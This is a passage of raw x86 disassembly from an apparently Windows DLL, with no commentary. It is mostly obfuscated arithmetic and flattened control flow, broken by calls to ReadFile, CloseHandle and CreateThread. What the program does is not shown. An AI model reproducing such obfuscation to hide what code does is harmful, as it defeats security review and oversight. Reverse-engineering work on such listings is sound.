not ebx
or ebx, edi
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xffc1156e
mov edx, ebx
and edx, 0x3eea91
or edx, ecx
mov esi, edx
xor esi, 0x28a81
xor edx, 0xffc1156e
mov ecx, edx
and ecx, 0xdffc6014
and esi, 0x20039feb
or esi, ecx
mov edi, eax
and edi, ebx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0xdffc6014
and edi, 0x20039feb
or edi, ecx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
mov ecx, eax
and ecx, 0xc2be1159
and ebx, 0x3d41eea6
or ebx, ecx
xor ebx, 0x3d41eea6
xor eax, ebx
and eax, ebx
mov ecx, eax
not ecx
and eax, esi
or esi, ecx
not esi
and ecx, edx
or ecx, eax
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0x401cc810
mov edx, ecx
and edx, 0x38211120
or edx, esi
xor edx, 0x38211120
not esi
or eax, 0x4000c810
and esi, 0xc1c2e815
and edx, 0x383d1120
or edx, esi
and eax, 0xc1c2e815
and ecx, 0x60006ca
or ecx, eax
xor ecx, edx
mov edx, ecx
xor edx, 0x87c226cf
xor ecx, 0x783dd930
mov esi, ecx
and esi, edx
and ecx, 0x121deac4
and edx, 0xede2153b
or edx, ecx
mov ecx, edx
xor ecx, 0x112040
mov eax, esi
not eax
xor edx, 0xede2153b
mov edi, eax
and edi, 0x138cdab6
and esi, 0xec732549
or esi, edi
or eax, edx
and edx, 0x138cdab6
and ecx, 0xec732549
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xdd3ff1b1
and ecx, eax
or eax, 0x22c00e4e
mov esi, ecx
not esi
mov edi, eax
and edi, 0x20f527ad
and edx, 0xdd0ad010
or edx, edi
or eax, esi
and esi, 0x20f527ad
and ecx, 0xdf0ad852
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
xor eax, 0x9b9eaeb9
xor eax, 0xb95ea0f7
setne ah
sete ch
cmp dword [0x10045904], 0xa
setge al
setl byte [ebp - 0x14]
mov dh, al
xor dh, ch
and dh, ch
mov dl, dh
xor dl, 1
and dh, dl
xor dh, 1
mov cl, dh
xor cl, dl
or dh, dl
xor dh, 1
or dh, cl
mov byte [ebp - 0x1c], al
mov bh, al
or bh, ch
mov byte [ebp - 0x18], ah
mov bl, ah
inc bl
and bl, ah
xor ah, al
and ah, ch
xor ah, 1
mov cl, ah
xor cl, bh
or ah, bh
xor ah, 1
or ah, cl
mov bh, ah
and ah, ch
mov cl, bl
xor cl, ch
or bl, ch
mov al, byte [ebp - 0x14]
or ch, al
xor dh, ch
xor dh, 1
or dl, ch
xor dl, 1
or dl, dh
mov ch, dl
xor ch, 1
mov dh, ch
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, ch
mov ch, dh
and dh, al
or dl, al
xor dl, 1
or dl, dh
xor ch, 1
mov dh, byte [ebp - 0x1c]
and ch, dh
or dl, ch
mov al, dl
mov ch, byte [ebp - 0x18]
xor bh, 1
and ch, bh
or ah, ch
xor bh, ah
and bh, ah
xor bl, 1
or bl, cl
xor cl, 1
mov ah, cl
xor ah, bl
or bl, cl
xor bl, 1
or bl, ah
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov ah, bl
xor ah, cl
or bl, cl
xor bl, 1
or bl, ah
mov ecx, ebx
mov dl, dh
and cl, dh
xor bl, 1
and bl, byte [ebp - 0x14]
or bl, cl
xor bl, 1
or bl, dh
xor bh, 1
mov edx, ebx
xor dl, bh
or bh, bl
xor dl, 1
mov cl, bh
or cl, dl
xor dl, bh
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
mov ch, ah
xor ch, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
mov dh, cl
xor dh, 1
mov ch, dh
and ch, cl
xor ch, 1
mov dl, cl
xor dl, ch
or ch, cl
xor ch, 1
or ch, dl
xor ch, al
mov ebx, eax
and cl, al
xor al, 1
and bl, al
xor bl, 1
mov dl, al
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov bh, bl
xor bh, 1
mov dl, bl
and dl, bh
xor dl, 1
or dl, bh
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, ah
or dl, ah
and dl, bl
and dh, al
or cl, dh
xor cl, 1
or cl, al
mov eax, ecx
or al, ch
xor al, 1
xor cl, ch
or cl, al
mov ah, cl
xor ah, 1
mov al, ah
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ecx, edx
and dl, al
mov ch, ah
and ch, al
xor ch, 1
or ch, al
xor cl, 1
xor ch, 1
or ch, ah
and ah, cl
or dl, ah
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
xor ch, cl
mov cl, ch
xor cl, 1
and ch, dl
or dl, cl
and cl, al
or cl, ch
mov ch, dl
xor ch, cl
test cl, 1
mov eax, 0x5f6d7e18
mov esi, 0x90d2c36f
cmovne eax, esi
test dl, 1
mov edx, 0x5f6d7e18
cmovne eax, edx
jmp 0x1000f9a0
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0
push dword [ebp - 0x58]
push dword [eax]
push dword [ecx]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne byte [ebp - 0x51]
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov esi, edx
not ecx
mov eax, ecx
mov edx, ecx
mov edi, ecx
and edx, 0xff075791
mov ecx, esi
and ecx, 0xf8a86e
or ecx, edx
mov edx, edi
xor ecx, 0xf8a86e
and eax, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x886c14ca
and ecx, 0x52038304
or ecx, eax
mov eax, esi
mov ebx, esi
mov dword [ebp - 0x24], esi
and eax, 0xf93bf952
and edx, 0x6c406ad
or edx, eax
mov eax, edi
xor edx, 0x23546e9c
and eax, 0xda6f97ce
or eax, edx
mov edx, ecx
xor edx, 0x40028104
xor ecx, 0xadfc7cfb
mov esi, ecx
and ecx, 0x12fd26d2
and edx, 0xc802910c
or edx, ecx
mov ecx, eax
not ecx
or esi, eax
and eax, 0x12fd26d2
and ecx, 0xed02d92d
or ecx, eax
not esi
xor ecx, edx
or ecx, esi
mov eax, ecx
xor eax, 0x25906831
mov edx, ecx
xor edx, 0x2a0582
mov esi, eax
or esi, 0xc08a5d
and esi, 0xac4ca5d
and edx, 0x202a2582
or edx, esi
xor ecx, 0xfbe0db3
and ecx, eax
mov esi, ecx
not esi
or eax, esi
and esi, 0xac4ca5d
and ecx, 0xf53b35a2
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0xd5d19a7d
and eax, 0x2a2e6582
or eax, ecx
mov ecx, eax
and ecx, 1
mov esi, eax
xor esi, 1
mov edx, ecx
not edx
xor eax, 0xfffffffe
or edx, eax
and eax, 0x591ffbd0
and esi, 0xa6e0042f
or esi, eax
or ecx, 0x591ffbd0
xor ecx, esi
mov dword [ebp - 0x20], edi
mov eax, edi
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x52768924
and ecx, edx
not edx
and edx, 0x52768924
or edx, ecx
not ecx
and ecx, 0xad8976db
and edx, 0x52768924
or edx, ecx
mov dword [ebp - 0x14], edx
and eax, 0x703805
mov ecx, ebx
and ecx, 0x8a00864a
or ecx, eax
mov eax, ecx
xor eax, 0x8a000448
xor ecx, 0x20542834
and ecx, 0x2054aa36
and eax, 0x8a201449
or eax, ecx
mov ecx, edi
or ecx, 0x50aa06
and ecx, 0x2054aa36
mov esi, ebx
and esi, 0x558b4180
or esi, ecx
xor esi, eax
mov eax, esi
xor eax, 0x758f41b0
mov edx, esi
xor edx, 0x8a70be4f
mov ecx, eax
or ecx, 0x2daf614f
mov edi, ecx
and edi, 0x91c64247
mov ebx, edx
and ebx, 0x42109cb0
or ebx, edi
xor esi, 0xa7dfdf00
and esi, eax
mov edi, esi
not edi
or ecx, edi
and edi, 0x91c64247
and esi, 0x6e39bdb8
or esi, edi
xor esi, ebx
not ecx
or ecx, esi
mov esi, ecx
xor esi, 0x525010c
xor ecx, 0xd2509eb1
mov edi, ecx
and edi, 0x3ada6ce3
and esi, 0xc525931c
or esi, edi
or edx, 1
or ecx, edx
and edx, 0x3ada6ce3
and eax, 0xc525931c
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edi, ecx
mov edx, dword [ebp - 0x14]
mov esi, edx
not esi
mov dword [ebp - 0x1c], esi
mov eax, edx
or eax, 0x400a4403
and eax, 0x4ccfcd4f
mov ecx, esi
and ecx, 0x82101030
or ecx, eax
mov eax, esi
or eax, 0xcc5894c
and eax, 0x4ccfcd4f
mov esi, edx
and esi, 0x31202280
or esi, eax
xor esi, ecx
mov eax, edi
mov dword [ebp - 0x28], edi
mov ecx, edi
not ecx
and eax, 0xc471c2d3
mov edi, ecx
and edi, 0x3b8e3d2c
or edi, eax
mov ebx, edi
xor ebx, 0x3b8e3d2c
xor edi, 0xc471c2d3
mov eax, edi
and eax, 0x6d8dfe3d
mov edx, ebx
and edx, 0x927201c2
or edx, eax
mov eax, esi
xor eax, 0x712a6683
mov dword [ebp - 0x2c], eax
xor esi, 0x8ed5997c
mov eax, esi
and eax, 0x850ccdf5
xor edx, 0xcc6c9a5
or edx, edi
mov dword [ebp - 0x18], edx
and ebx, esi
mov dword [ebp - 0x30], ebx
or esi, edi
mov dword [ebp - 0x34], esi
mov esi, dword [ebp - 0x2c]
and edi, esi
mov dword [ebp - 0x38], edi
and esi, 0x7af3320a
or esi, eax
mov eax, esi
xor eax, 0x7af3320a
xor esi, 0x84048025
and esi, 0xd464922f
mov edi, eax
and edi, 0x2b9b6dd0
or edi, esi
xor edi, 0x4ad05a48
and eax, 0x9eb4c867
or eax, edi
mov esi, dword [ebp - 0x1c]
and esi, 0x9c30c846
mov edx, dword [ebp - 0x14]
and edx, 0x2840021
or edx, esi
mov esi, dword [ebp - 0x28]
and esi, 0x7b05ff59
and ecx, 0x84fa00a6
or ecx, esi
mov edi, ecx
xor edi, 0x84fa00a6
xor ecx, 0x3005c600
and ecx, 0xb06fc604
mov esi, edi
and esi, 0x4f9039fb
or esi, ecx
xor esi, 0xd124f19c
and edi, 0x614b3798
or edi, esi
mov dword [ebp - 0x14], edi
mov ecx, eax
not ecx
mov esi, edx
xor esi, 0x2840021
or esi, 0x614b3798
mov ebx, ecx
xor ebx, esi
and ebx, ecx
and eax, 0xe5685ca1
and ecx, 0x1a97a35e
or ecx, eax
xor edx, 0x18108046
and esi, 0xe5685ca1
and edx, 0x1a948046
or edx, esi
xor edx, ecx
mov edi, ebx
not edi
mov eax, edi
and eax, 0x1e93d10
and ebx, 0xfe16c2ef
or ebx, eax
mov eax, edx
not eax
or edi, eax
and eax, 0x1e93d10
and edx, 0xfe16c2ef
or edx, eax
xor edx, ebx
not edi
or edi, edx
mov ecx, dword [ebp - 0x18]
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x9e561a43
xor ecx, 0x778bdb8f
and ecx, edx
mov dword [ebp - 0x18], ecx
and edx, 0x61a9e5bc
or edx, eax
mov eax, dword [ebp - 0x14]
mov esi, eax
not esi
and eax, 0x4ec4f707
mov ebx, esi
and ebx, 0xb13b08f8
or ebx, eax
mov eax, edx
xor eax, 0x61a9e5bc
mov dword [ebp - 0x28], eax
and eax, 0x88742470
or dword [ebp - 0x18], eax
mov eax, ebx
xor eax, 0xb13b08f8
mov dword [ebp - 0x2c], eax
mov ecx, ebx
xor ecx, 0xc6b0d377
and ecx, eax
mov eax, ecx
not eax
mov dword [ebp - 0x1c], eax
and dword [ebp - 0x1c], 0x6fcb6601
and ecx, 0x903499fe
add ecx, dword [ebp - 0x1c]
or dword [ebp - 0x14], 0x88742470
or eax, dword [ebp - 0x14]
and dword [ebp - 0x14], 0x6fcb6601
and esi, 0x1000998e
add esi, dword [ebp - 0x14]
xor esi, ecx
not eax
or eax, esi
xor eax, dword [ebp - 0x18]
xor edx, 0x9e561a43
mov ecx, edx
and ecx, 0x5e5452e7
mov esi, dword [ebp - 0x28]
and esi, 0xa1abad18
or esi, ecx
xor ebx, 0x4ec4f707
or edx, ebx
and ebx, 0x5e5452e7
mov ecx, dword [ebp - 0x2c]
and ecx, 0xa1abad18
or ecx, ebx
xor ecx, esi
not edx
or edx, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x424f1d58
and eax, 0xbdb0e2a7
or eax, ecx
mov ecx, edx
not ecx
or esi, edx
and edx, 0x424f1d58
and ecx, 0xbdb0e2a7
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, edi
not eax
mov ecx, edi
xor ecx, 0xc2fb745e
and ecx, edi
or edi, 0x3d048ba1
mov edx, edi
and edx, 0xa60c69f
and eax, 0xc09b3040
or eax, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0xa60c69f
and ecx, 0xf59f3960
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
xor esi, 0xc2fb745e
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
mov ebx, eax
mov edi, dword [ebp - 0x38]
or edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
not eax
or edi, eax
mov ecx, edi
not ecx
mov eax, edi
xor eax, 0x5fc06de6
and eax, edi
or edi, 0xa03f9219
mov edx, edi
and edx, 0xe1816203
and ecx, 0x1e400de4
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xe1816203
and eax, 0x1e7e9dfc
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov edx, edi
xor edx, 0xa0178019
mov esi, edi
xor esi, 0x5fc06de6
mov eax, esi
and eax, 0xb687ee4
and edx, 0xf497811b
or edx, eax
mov dword [ebp - 0x14], ebx
mov ecx, ebx
not ecx
mov dword [ebp - 0x1c], ecx
mov eax, ebx
xor eax, 0xd391bab8
mov dword [ebp - 0x18], eax
and dword [ebp - 0x18], ecx
and eax, ebx
or eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov ecx, edx
xor ecx, 0xf497811b
mov eax, edx
xor eax, 0xd8f9c45c
and eax, ecx
mov ebx, eax
not ebx
mov dword [ebp - 0x18], ebx
and dword [ebp - 0x18], 0xffb5a0b9
and eax, 0x4a5f46
add eax, dword [ebp - 0x18]
or esi, 0xd391bab8
xor edi, 0xa0000
or ebx, esi
and esi, 0xffb5a0b9
and edi, 0x4a4546
or edi, esi
xor edi, eax
not ebx
or ebx, edi
mov esi, ebx
xor esi, ebx
not esi
and esi, dword [ebp - 0x28]
xor esi, ebx
mov edi, dword [ebp - 0x14]
mov eax, edi
and eax, 0xd5012a05
mov ebx, dword [ebp - 0x1c]
and ebx, 0x2afed5fa
or ebx, eax
xor edx, 0xb687ee4
or edi, edx
and edx, 0xd5012a05
and ecx, 0x2afed5fa
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov ecx, edi
mov edi, dword [ebp - 0x20]
mov eax, edi
not ecx
or ecx, esi
mov dword [ebp - 0x14], ecx
mov ebx, dword [ebp - 0x24]
mov ecx, ebx
xor ecx, 0xc6fe3764
and ecx, ebx
and eax, 0x4f86a616
mov edx, ebx
and ebx, 0xb07959e9
or ebx, eax
xor ebx, 0x33374f0
or ebx, edi
mov eax, edi
and eax, 0x80022100
and edx, 0x2480400
or edx, eax
xor edx, 0x2480400
or edx, ecx
not ecx
and ecx, 0x31000819
and edx, 0x824a2500
or edx, ecx
mov eax, edx
xor eax, 0x23420d18
or eax, 0x4159280
and edx, 0x90082401
and eax, 0x27579b98
or eax, edx
mov edx, eax
xor edx, 0x23020910
xor eax, 0xd8a86467
mov ecx, eax
and ecx, 0x4d500ad
and edx, 0xb30a2d10
or edx, ecx
mov ecx, ebx
not ecx
mov esi, ecx
or esi, 0xa80aa310
and esi, 0xec1aa354
or eax, ebx
mov edi, ebx
and ebx, 0xc540a9
or ebx, esi
or edi, 0x44100044
and edi, 0xec1aa354
and ecx, 0x13201c02
or ecx, edi
xor ecx, ebx
xor ecx, edx
mov edx, ecx
xor edx, 0x40004000
xor ecx, 0xbfffbfbf
mov esi, ecx
and esi, 0xb42b90ec
and edx, 0x4bd46f13
or edx, esi
or ecx, eax
and eax, 0xb76bbdfd
xor eax, edx
xor eax, 0x3402d11
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x4cb5d2e6
and eax, ecx
or ecx, 0xb34a2d19
not edx
mov esi, ecx
and esi, 0xc37901d7
and edx, 0xc84d220
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xc37901d7
and eax, 0x3c86fe28
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, dword [ebp - 0x14]
mov ebx, eax
mov edi, eax
mov esi, eax
not edi
mov dword [ebp - 0x24], edi
mov edx, edi
and edx, 0x20218814
and ebx, 0x164e1203
or ebx, edx
mov edx, edi
and edx, 0x366f9a17
and esi, 0xc99065e8
or esi, edx
mov eax, esi
xor eax, edi
and eax, esi
mov dword [ebp - 0x1c], eax
mov edx, ecx
not edx
mov dword [ebp - 0x18], edx
and edx, 0x6fc26e7e
mov esi, ecx
and esi, 0x903d9181
or esi, edx
mov edx, esi
xor edx, 0x80000100
xor esi, 0x20c00a7c
mov edi, esi
or edi, 0x46052400
and edi, 0x461dbcc4
and edx, 0xa0c00338
or edx, edi
mov edi, ecx
xor edi, 0xa0d89bfc
and edi, ecx
mov eax, edi
not eax
or esi, eax
and eax, 0x461dbcc4
and edi, 0xb9e2433b
or edi, eax
xor edi, edx
not esi
or esi, edi
not edi
and edi, 0x16270003
and esi, 0x20489a14
or esi, edi
mov eax, dword [ebp - 0x18]
or eax, 0x24441002
and ecx, 0x9906520
and eax, 0xe44410ca
or eax, ecx
mov dword [ebp - 0x18], eax
mov eax, ebx
xor eax, 0x164e1203
mov dword [ebp - 0x20], ebx
mov edx, ebx
xor ebx, 0x36268202
and ebx, eax
mov edi, dword [ebp - 0x1c]
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xe97890e1
and edi, 0x16876f1e
or edi, eax
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x20]
xor eax, 0xe9b1edfc
mov dword [ebp - 0x20], eax
xor edx, 0xff3682e2
and edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x20812008
and edx, 0x167e9ad7
or edx, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0xe9812028
and ebx, 0x166e9a17
or ebx, eax
xor ebx, edx
not edi
or edi, ebx
mov edx, dword [ebp - 0x1c]
mov eax, edx
xor eax, edx
not eax
and eax, edi
xor eax, edx
or ecx, dword [ebp - 0x20]
mov edi, eax
not edi
mov edx, edi
and edx, 0x82924f24
and eax, 0x7d6db0db
or eax, edx
or edi, ecx
and ecx, 0xb6ffdf37
xor ecx, eax
xor ecx, 0x346d9013
not edi
or edi, ecx
mov eax, esi
not eax
mov edx, dword [ebp - 0x18]
xor edx, 0xe44410ca
and eax, esi
or edx, esi
or edx, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x691d06ca
and eax, ecx
and ecx, edx
or ecx, eax
mov esi, dword [ebp - 0x14]
mov edx, esi
xor edx, 0xc69edd51
and edx, esi
xor ecx, edi
mov eax, ecx
mov edi, dword [ebp - 0x24]
and edi, 0x2161041
and esi, 0xc488cd10
or esi, edi
xor esi, 0xc488cd10
or edx, esi
xor edx, 0x396122ae
xor ecx, 0x96e2f935
mov edi, ecx
xor edi, edx
not edi
and edi, edx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x62f410be
and edi, 0x9d0bef41
or edi, ebx
or edx, ecx
xor edi, edx
or esi, edx
xor edi, 0x9d0bef41
not esi
or esi, edi
xor eax, 0x48050048
not esi
and ecx, 0xb1388eb7
and eax, 0x4ec77148
or eax, ecx
xor eax, 0x4ec77148
or eax, esi
xor eax, 0xffffffff
setne ch
sete al
cmp dword [0x10045904], 0xa
setge dl
setl ah
mov cl, ah
and cl, al
and ch, dl
or ch, cl
mov cl, ch
xor cl, al
and cl, ch
mov ch, ah
xor ch, al
mov dh, ah
or dh, al
xor dh, 1
or dh, ch
xor cl, 1
mov ch, dh
xor ch, cl
or cl, dh
xor ch, 1
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
mov cl, ch
xor cl, 1
mov dh, ch
and dh, cl
xor dh, 1
mov ebx, ecx
xor bl, dh
or dh, cl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
and bl, ah
and dh, dl
xor ch, ah
or cl, dl
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
or cl, bl
xor al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
and ah, dl
xor ah, 1
mov ch, ah
xor ch, dl
or ah, dl
xor ah, 1
or ah, ch
mov ch, cl
xor ch, ah
or ah, cl
mov bl, ah
xor bl, 1
or ch, bl
mov dh, ch
xor dh, 1
mov dl, dh
or dh, bl
and bl, ch
and dl, ah
or dl, bl
xor ch, ah
xor dh, 1
or dh, ch
xor dl, 1
mov ah, dl
xor ah, dh
or dl, dh
mov ch, al
xor ch, cl
xor dl, 1
or dl, ah
mov ah, ch
xor ah, 1
or al, cl
xor al, 1
or al, ch
or ah, al
xor al, ch
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ah, al
and ah, cl
xor ah, 1
mov ch, ah
xor ch, cl
or ah, cl
xor dl, 1
xor ah, 1
or ah, ch
mov ch, dl
xor ch, al
xor ah, dl
or dl, al
mov cl, ch
xor cl, 1
xor dl, 1
or dl, ch
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
and dl, ch
and cl, al
or cl, dl
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x92c04416
mov esi, 0xf7a6a60c
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0x92c04416
cmove eax, ecx
jmp 0x1000f9b0
cmp byte [ebp - 0x50], 0
mov eax, 0xeb4d0907
mov ecx, 0x425c070c
cmovne eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0xffffffffffffffaa
push dword [eax]
push dword [ecx]
call section..text
add esp, 0xc
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
push 0
push 0
push dword [eax]
push 0x1000dd70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
cmp dword [eax], 0
setne byte [ebp - 0x52]
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
mov dword [ebp - 0x20], ecx
and eax, 0x24d8e293
mov ecx, edx
mov edi, edx
and ecx, 0xdb271d6c
or ecx, eax
mov eax, ecx
xor eax, 0x50000140
and ecx, 0x81001008
and eax, 0x74008340
or eax, ecx
xor eax, 0x81001008
and edx, 0xaff6cb7
xor edx, 0xaff6cb7
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xe6e53586
and eax, edx
not edx
or ecx, 0x191aca79
mov esi, ecx
and esi, 0x626ad0e4
and edx, 0x84852502
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x626ad0e4
and eax, 0x9d952f1b
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
xor edx, 0x22853100
xor ecx, 0xd47ac6d6
mov eax, ecx
and eax, 0xcd600caf
and edx, 0x329ff350
or edx, eax
not edx
or edx, ecx
mov eax, ebx
and eax, 0x9321090
mov ecx, edi
and ecx, 0x16412400
or ecx, eax
xor ecx, 0x16412400
mov esi, edi
xor esi, 0x1f733490
and esi, edi
mov dword [ebp - 0x24], edi
or esi, ecx
mov eax, esi
xor eax, 0x2decc7c0
xor esi, 0xd213383f
mov ecx, ebx
and ecx, esi
and eax, edi
or eax, ecx
xor esi, eax
and esi, eax
mov edi, edx
not edi
mov ecx, edx
and ecx, 0xc5e3d0e4
mov eax, edi
and eax, 0x3a1c2f1b
or eax, ecx
mov ecx, eax
xor ecx, 0x380c2a18
xor eax, 0x8103d040
and eax, 0x8313d543
and ecx, 0x7cec2abc
or ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov dword [ebp - 0x18], eax
mov eax, ecx
and eax, 0xd003410c
mov ebx, esi
and esi, 0x2ffcbef3
or esi, eax
not esi
or esi, ecx
mov dword [ebp - 0x2c], esi
and ecx, 0x161310d5
and ebx, 0xe9ecef2a
or ebx, ecx
xor ebx, 0xe9ecef2a
mov ecx, dword [ebp - 0x18]
or ecx, ebx
mov dword [ebp - 0x18], ecx
mov ebx, dword [ebp - 0x14]
mov eax, ebx
xor eax, 0x8313d543
mov dword [ebp - 0x1c], eax
xor ebx, 0x7cec2abc
mov dword [ebp - 0x14], ebx
and ebx, 0xe5a707bd
and eax, 0x1a58f842
or eax, ebx
and edx, 0x29400e01
and edi, 0x6bcb0f2
or edi, edx
mov edx, ecx
not edx
mov dword [ebp - 0x28], edx
and edx, 0xc0030108
and ecx, 0x10004004
or ecx, edx
mov edx, ecx
xor edx, 0x10004000
or edx, 0x50c0400
xor ecx, 0x40000100
and ecx, 0x40000104
and edx, 0x950f4408
or edx, ecx
xor eax, 0x35a446b1
or eax, dword [ebp - 0x14]
mov ecx, eax
not ecx
xor edi, 0x6bcb0f2
or edi, 0xd003410c
mov ebx, ecx
xor ebx, edi
and ebx, ecx
xor ecx, eax
and ecx, edi
xor ecx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0x8a5be620
and ebx, 0x75a419df
or ebx, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0x8a5be620
and ecx, 0x75a419df
or ecx, eax
xor ecx, ebx
not esi
or esi, ecx
mov edi, edx
xor edi, 0x950f4408
xor edx, 0x6af0bbf7
mov eax, edi
mov ecx, dword [ebp - 0x2c]
xor eax, ecx
and eax, edi
xor edi, edx
and edi, ecx
xor edi, edx
or edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xf1c793c
and edi, 0xf0e386c3
or edi, edx
xor edi, esi
or eax, esi
xor edi, 0xf1c793c
and edi, esi
not eax
or edi, eax
mov eax, dword [ebp - 0x14]
and eax, 0xbeb0dbb
mov ecx, dword [ebp - 0x1c]
mov esi, ecx
and esi, 0xf414f244
or esi, eax
xor esi, 0xf414f244
mov eax, esi
and eax, 0x2ed87bb3
and ecx, 0xd127844c
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x18]
mov edx, eax
xor edx, 0x2ed87bb3
and edx, eax
or eax, 0xd127844c
mov ebx, eax
and ebx, 0x8c8349cd
mov ecx, dword [ebp - 0x28]
or esi, ecx
and ecx, 0x22583232
or ecx, ebx
mov ebx, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x8c8349cd
and edx, 0x737cb632
or edx, ecx
xor edx, ebx
not eax
or eax, edx
xor eax, dword [ebp - 0x1c]
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0x780474ce
and esi, 0x87fb8b31
or esi, eax
mov ebx, esi
xor ebx, 0x780474ce
xor esi, 0x87fb8b31
mov eax, edi
not eax
and esi, eax
or eax, ebx
and ebx, edi
not eax
or ebx, esi
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x2400409c
mov edx, ebx
mov edi, ebx
and edx, 0x483c1160
or edx, ecx
mov ecx, edx
xor ecx, 0x480c0160
xor edx, 0xb7c3ee9f
mov esi, edx
and esi, 0x5715a99
and ecx, 0x680c0164
or ecx, esi
mov esi, ebx
xor esi, 0x6c3c51fc
and esi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x5715a99
and esi, 0xfa8ea566
or esi, ebx
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
xor ecx, 0x10420601
xor edx, 0x6c3c51fc
and ecx, 0x5c7646e1
mov esi, edx
and esi, 0xa389b91e
or esi, ecx
xor esi, 0xfddfe363
and edx, 0xa1a9a582
or edx, esi
and edi, 0xfbb1fa3
mov ecx, eax
and ecx, 0xf044e05c
or ecx, edi
xor ecx, 0x51ed45de
and eax, 0x5e565a7d
or eax, ecx
mov esi, eax
xor esi, 0xee2c6b6
xor esi, eax
xor esi, 0xf11d3949
and esi, edx
or edx, eax
not edx
xor esi, eax
or esi, edx
mov eax, esi
mov ecx, esi
xor ecx, 0x933656d3
and ecx, esi
not esi
or eax, 0x6cc9a92c
mov edx, eax
and edx, 0x34dcefde
and esi, 0x83221001
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x34dcefde
and ecx, 0xcb231021
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x99f6f8ff
mov esi, eax
xor esi, 0x99f6f8ff
and esi, eax
or esi, edx
mov edx, esi
xor edx, 0x2010000
xor esi, 0x99f6f8ff
and edx, 0x1bd5d82f
mov edi, esi
and edi, 0xe42a27d0
or edi, edx
xor edi, 0x46bfa246
and esi, 0x5d6a7a69
or esi, edi
and eax, 0x7cad103c
mov edx, ecx
